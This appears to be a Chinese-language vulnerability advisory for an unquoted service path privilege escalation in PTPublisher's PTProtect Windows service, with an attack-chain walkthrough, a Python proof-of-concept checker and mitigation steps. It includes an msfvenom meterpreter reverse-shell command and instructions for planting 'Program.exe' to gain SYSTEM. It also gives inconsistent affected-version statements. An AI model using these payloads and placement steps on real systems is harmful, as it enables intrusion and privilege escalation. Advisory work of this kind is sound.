IPBUF安全漏洞报告
English
CVE-2022-50915 CVSS 7.8 高危

CVE-2022-50915 PTPublisher 未加引号服务路径权限提升漏洞

披露日期: 2026-01-13

漏洞信息

漏洞编号
CVE-2022-50915
漏洞类型
未加引号的服务路径漏洞
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
PTPublisher

相关标签

未加引号的服务路径权限提升PTPublisherPTProtect本地攻击Windows服务路径劫持CVE-2022-50915高危漏洞

漏洞概述

CVE-2022-50915是PTPublisher 2.3.4版本中存在的一个未加引号服务路径(Unquoted Service Path)权限提升漏洞。该漏洞位于PTProtect服务中,服务可执行文件路径为'C:\Program Files (x86)\Primera Technology\PTPublisher\UsbFlashDongleService.exe',由于路径中包含空格且未被引号包裹,Windows服务控制管理器在启动服务时会按照空格分割路径依次查找并执行可执行文件。攻击者可以通过在中间路径位置植入恶意可执行文件(如'Program.exe'或'Primera.exe'),诱使系统在启动服务时首先执行恶意代码。由于PTProtect服务通常以系统权限运行,攻击者成功利用此漏洞后可获得系统级(SYSTEM)权限,实现本地权限提升。该漏洞需要攻击者具有本地访问权限和低权限用户身份,但无需用户交互即可完成攻击。

技术细节

未加引号的服务路径漏洞是一种常见的Windows本地权限提升技术。当Windows服务配置的可执行文件路径包含空格且未使用引号包裹时,服务控制管理器(SCM)在启动服务时会采用空格分割的方式逐层查找可执行文件。以本漏洞为例,目标路径'C:\Program Files (x86)\Primera Technology\PTPublisher\UsbFlashDongleService.exe'包含多个空格,SCM会依次尝试执行:1) C:\Program.exe 2) C:\Program Files (x86)\Primera.exe 3) C:\Program Files (x86)\Primera Technology\PTPublisher.exe 4) 最终执行正确的UsbFlashDongleService.exe。攻击者只需在C:\根目录放置名为'Program.exe'的恶意文件,当PTProtect服务重启时,该恶意文件将以SYSTEM权限被加载执行,从而实现权限提升。攻击者可以利用Metasploit框架的exploit/windows/local/service_permissions模块或手动创建恶意可执行文件进行利用。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先获取目标系统的本地访问权限,使用低权限账户登录系统。通过系统查询确认PTPublisher软件已安装,并检查PTProtect服务的配置信息,验证服务路径是否包含空格且未加引号。
STEP 2
步骤2: 分析服务路径
使用WMIC或sc命令查询PTProtect服务的可执行文件路径,确认路径为'C:\Program Files (x86)\Primera Technology\PTPublisher\UsbFlashDongleService.exe',识别出可被劫持的中间路径点:Program.exe、Primera.exe、PTPublisher.exe。
STEP 3
步骤3: 生成恶意载荷
攻击者使用Metasploit框架的msfvenom工具生成恶意可执行文件,如windows/x64/meterpreter/reverse_tcp反弹shell木马,或者其他能够建立高权限会话的恶意程序。
STEP 4
步骤4: 植入恶意文件
将生成的恶意可执行文件重命名为'Program.exe'并放置到C:\根目录,或者重命名为'Primera.exe'放置到'C:\Program Files (x86)\'目录。确保恶意文件的文件名与路径分割后的第一个/第二个路径组件匹配。
STEP 5
步骤5: 触发服务重启
等待或诱导PTProtect服务重启。服务重启方式包括:等待系统更新触发服务重启、诱导管理员手动重启服务、利用其他漏洞触发服务重启,或者使用sc命令(需要管理员权限)远程重启服务。
STEP 6
步骤6: 获取SYSTEM权限
当PTProtect服务启动时,Windows服务控制管理器按顺序查找可执行文件:首先找到攻击者植入的'Program.exe'并以SYSTEM权限执行,从而加载恶意代码,建立高权限shell会话,实现本地权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2022-50915 PoC - PTPublisher Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in PTPublisher # Author: Security Researcher # Note: For educational and authorized testing purposes only import os import subprocess import sys def check_vulnerability(): """Check if PTPublisher service is vulnerable""" service_name = "PTProtect" try: # Query service configuration using WMIC result = subprocess.check_output( ['wmic', 'service', 'where', f'name="{service_name}"', 'get', 'pathname'], text=True ) print(f"[*] Service Path: {result}") # Check if path contains spaces and is not quoted if '"' not in result and 'Program Files' in result: print("[!] VULNERABLE: Service path is not quoted!") return True else: print("[*] NOT VULNERABLE: Service path is properly quoted") return False except Exception as e: print(f"[-] Error checking service: {e}") return False def create_payload(payload_path): """Generate reverse shell payload for privilege escalation""" # This is a placeholder - in real attack, attacker would generate # a malicious executable (e.g., meterpreter reverse shell) print(f"[*] Payload would be created at: {payload_path}") print("[*] Example: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o Program.exe") def exploit(): """Exploit unquoted service path""" vulnerable_paths = [ "C:\\Program.exe", "C:\\Program Files (x86)\\Primera.exe", "C:\\Program Files (x86)\\Primera Technology\\PTPublisher.exe" ] print("[*] Available exploitation points:") for path in vulnerable_paths: if not os.path.exists(path): print(f" [+] {path} - Available for exploitation") else: print(f" [-] {path} - Already exists") if __name__ == "__main__": print("=" * 60) print("CVE-2022-50915 PTPublisher Unquoted Service Path PoC") print("=" * 60) if check_vulnerability(): exploit() create_payload("C:\\Program.exe") else: print("[*] Target is not vulnerable to this attack vector")

影响范围

PTPublisher < 2.3.4

防御指南

临时缓解措施
临时缓解措施:1) 使用sc config命令修改PTProtect服务的binPath参数,为路径添加引号;2) 检查并移除服务路径中间目录(如C:\、C:\Program Files (x86)\)下的可疑可执行文件;3) 限制相关目录的写权限,仅允许管理员和SYSTEM账户写入;4) 部署端点检测与响应(EDR)解决方案,实时监控异常进程执行行为;5) 考虑暂时禁用PTProtect服务直到官方补丁发布。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表